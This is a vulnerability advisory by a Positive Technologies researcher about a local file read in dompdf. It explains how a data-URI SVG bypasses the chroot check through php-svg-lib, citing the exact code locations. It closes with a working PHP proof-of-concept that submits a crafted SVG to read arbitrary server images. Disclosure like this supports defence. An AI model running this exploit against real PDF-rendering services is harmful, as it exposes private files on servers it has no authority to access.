Dompdf: Local file read due to improper file path validation in SVG images encoded as data-URI
Description: An attacker, who controls the HTML input supplied to dompdf, can read arbitrary images from the server’s file system, bypassing the chroot restriction. The vulnerability is exploitable in the default configuration.
Exploitation conditions: An external user
Researcher: Nikita Sveshnikov (Positive Technologies)
dompdf restricts access to local files using the chroot mechanism. By default, chroot is set to the root directory of dompdf (Options.php:350-351):
Listing 1. chroot settings
$rootDir = realpath(__DIR__ . "/../");
$this->setChroot(array($rootDir));
// result: chroot = ["/path/to/vendor/dompdf/dompdf"]
When the HTML references a local file, Options::validateLocalUri() checks that the path resides within сhroot. A direct link to the file outside this directory is correctly blocked:
Listing 2. Blocking link
<!-- BLOCKED: /tmp/ is outside chroot -->
<img src="file:///tmp/secret.png">
An attacker wraps the link to the target file in SVG format and delivers it via data: URI:
Listing 3. Wrapping link in SVG
<img src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0i...">
Inside the base64 payload is an SVG containing the <image> element that points to the target file:
Listing 4. Pointing to the target file
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"
width="589" height="415">
<image xlink:href="/tmp/secret.png" x="0" y="0" width="589" height="415"/>
</svg>
The issue is that dompdf handles the SVG twice: first through its own validator and then via php-svg-lib — and the second pass does not apply the protection that the first pass does.
Step 1. The data:// protocol has no validation rules (Options.php:546-547):
Listing 5. Lack of rules
case "data://":
break; // no rules
SVG content passes without any checks.
Step 2. dompdf pre‑parses the SVG and validates the links inside it (Cache.php:137-183), but incorrectly interprets the path of an external resource (image) reference when the SVG is data-URI encoded.
Step 3. When rendering, the PDF backend passes the SVG to php-svg-lib with external links enabled (lib/Cpdf.php:6315-6319):
Listing 6. Passing the SVG
$doc = new \Svg\Document();
$doc->allowExternalReferences = true; // forced
$doc->loadFile($file);
php-svg-lib is a separate library that has no information about the chroot directory or the dompdf validation rules.
Step 4. The <image> handler in php-svg-lib blocks only phar://, everything else is allowed when allowExternalReferences is true (php-svg-lib/src/Svg/Tag/Image.php:60-68):
Listing 7. phar:// blocking
if ($scheme === "phar"
|| ($this->document->allowExternalReferences === false && $scheme !== "data")) {
return;
}
$this->document->getSurface()->drawImage($this->href, ...);
Step 5. drawImage() invokes file_get_contents() with no restrictions (php-svg-lib/src/Svg/Surface/SurfaceCpdf.php:171-172):
Listing 8. file_get_contents() call
$data = file_get_contents($image); // reads ANY path
There is no chroot check. No protocol validation. The file is read and embedded into the PDF.
Listing 9. An example of a vulnerable code (html2pdf.php)
require_once __DIR__ . '/vendor/autoload.php';
$dompdf = new Dompdf\Dompdf();
$dompdf->loadHtml($_POST['html']);
$dompdf->render();
$dompdf->stream('poc.pdf', ['Attachment' => false]);
Listing 10. An example attack on the vulnerable code
$file = $_GET['file'] ?? '/tmp/user_files/user_1/private_image.png';
$svg = '<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="589" height="415">'
. '<image xlink:href="' . htmlspecialchars($file, ENT_QUOTES) . '" x="0" y="0" width="589" height="415"/>'
. '</svg>';
$html = '<html><body>'
. '<img src="data:image/svg+xml;base64,' . base64_encode($svg) . '">'
. '</body></html>';
$url = 'http://example.com/html2pdf.php';
$data = ['html' => $html];
$headers = ["Content-type: application/x-www-form-urlencoded"];
// use key 'http' even if you send the request to https://...
$options = [
'http' => [
'header' => $headers,
'method' => 'POST',
'content' => http_build_query($data),
'ignore_errors' => true,
],
];
$context = stream_context_create($options);
$response = file_get_contents($url, false, $context);
Figure 1. The image was read successfully
Nikita Sveshnikov (Positive Technologies)